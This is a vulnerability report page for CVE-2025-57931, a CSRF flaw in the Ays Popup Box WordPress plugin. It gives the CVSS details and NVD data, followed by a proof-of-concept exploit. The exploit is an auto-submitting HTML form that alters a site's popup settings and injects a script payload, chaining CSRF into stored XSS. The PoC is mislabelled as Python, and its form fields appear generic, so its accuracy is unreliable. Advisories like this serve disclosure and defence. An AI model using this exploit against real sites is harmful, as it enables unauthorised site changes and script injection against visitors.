Security Vulnerability Report
中文
CVE-2025-57931 CVSS 5.3 MEDIUM

CVE-2025-57931

Published: 2025-10-29 04:15:53
Last Modified: 2026-04-23 15:33:03

Description

Cross-Site Request Forgery (CSRF) vulnerability in Ays Pro Popup box ays-popup-box allows Cross Site Request Forgery.This issue affects Popup box: from n/a through <= 5.5.4.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

ays-popup-box <= 5.5.4 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-57931 --> <!-- Ays Pro Popup Box Plugin <= 5.5.4 CSRF Exploit --> <!DOCTYPE html> <html> <head> <title>CSRF PoC - CVE-2025-57931</title> </head> <body> <h1>CSRF PoC for Ays Popup Box Plugin</h1> <p>This PoC demonstrates the CSRF vulnerability in Ays Pro Popup Box plugin.</p> <form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrfForm"> <!-- Change popup settings action --> <input type="hidden" name="action" value="ays_popup_save"> <input type="hidden" name="ays_popup_box_action" value="save"> <input type="hidden" name="ays_popup_title" value="Malicious Popup - CSRF Test"> <input type="hidden" name="ays_popup_description" value="<script>alert('XSS via CSRF')</script>"> <input type="hidden" name="ays_popup_status" value="published"> <input type="hidden" name="popup_id" value="1"> <input type="hidden" name="_wpnonce" value=""> </form> <script> // Auto-submit form when page loads document.getElementById('csrfForm').submit(); console.log('CSRF PoC sent'); </script> <p>If you see this, the form has been submitted.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57931", "sourceIdentifier": "[email protected]", "published": "2025-10-29T04:15:52.820", "lastModified": "2026-04-23T15:33:03.293", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Ays Pro Popup box ays-popup-box allows Cross Site Request Forgery.This issue affects Popup box: from n/a through <= 5.5.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ays-popup-box/vulnerability/wordpress-popup-box-plugin-5-5-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}